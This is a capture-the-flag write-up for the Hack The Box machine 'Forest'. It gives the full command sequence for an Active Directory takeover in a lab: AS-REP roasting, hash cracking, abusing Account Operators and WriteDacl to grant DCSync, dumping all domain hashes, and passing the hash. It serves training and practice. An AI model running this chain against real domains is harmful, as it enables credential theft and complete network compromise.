September 14, 2026·Johnytiger

HTB: Forest

A domain controller with no preauth on a service account. AS-REP roasting gives up svc-alfresco, Account Operators lets us mint an account into Exchange Windows Permissions, and WriteDacl on the domain turns into DCSync.

securityctfwriteuphacktheboxactive directorywindowskerberosbloodhound

Let's run nmap and find out what we are working with, then NetExec with guest and a blank password.

nxc smb 10.129.85.238 -u '' -p '' --rid-brute

NetExec hitting SMB with a null session, identifying the host FOREST on Windows Server 2016 and the domain htb.local

We catch a domain and add it to our hosts file. Let's try running rpcclient and enumdomusers to see what we can get.

rpcclient -U '' -N 10.129.85.238

rpcclient $> enumdomusers

rpcclient enumdomusers returning the full domain user list, including a service account named svc-alfresco

We've got users. Let's throw them all into a users.txt file and see if we can GetNPUsers.

impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt -dc-ip 10.129.85.238

GetNPUsers reporting most accounts require preauth, but returning an AS-REP krb5asrep hash for svc-alfresco

Alright, we've got ourselves a hash. Let's crack it.

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --force

Hashcat cracking the AS-REP hash in mode 18200 and recovering the plaintext password for svc-alfresco

That gives us a password for the svc-alfresco service account. Let's see what we can get with these creds.

nxc smb   10.129.85.238 -u svc-alfresco -p 's3rvice'
nxc winrm 10.129.85.238 -u svc-alfresco -p 's3rvice'
nxc ldap  10.129.85.238 -u svc-alfresco -p 's3rvice'

NetExec confirming the credentials across SMB, WinRM and LDAP, with WinRM returning Pwn3d!

We have WinRM with these creds, so let's log in and enumerate some more. Heading over to the desktop folder we see the user.txt flag. Let's grab that and move to privilege escalation.

I'm going to run BloodHound and see what's up with all the other users.

bloodhound-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.85.238 -c All --zip

The BloodHound graph showing Account Operators holding GenericAll over a chain of groups, and Exchange Windows Permissions holding WriteDacl on the htb.local domain object

svc-alfresco lands in Account Operators, which means we can create an account and add it wherever we like. Exchange Windows Permissions holds WriteDacl on the domain object, so putting our own account in that group lets us rewrite the domain ACL.

net user poe Password123! /add /domain
net group "Exchange Windows Permissions" poe /add

We upload PowerView and then grant ourselves replication rights on the domain.

Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity poe -Rights DCSync

Once that's set up we should be able to DCSync.

impacket-secretsdump 'htb.local/poe:Password123!@10.129.85.238'

secretsdump using the DRSUAPI method to pull every NTDS credential from the domain, including the Administrator hash

And we get ourselves all the hashes. Now let's pass the hash and log in as Administrator.

And there it is, we've pwned the box and grabbed the root flag.

This box was pretty easy and great for beginners, especially for learning the ACL-to-DCSync path. I'd recommend it for OSCP practice.

End of transmissionAll posts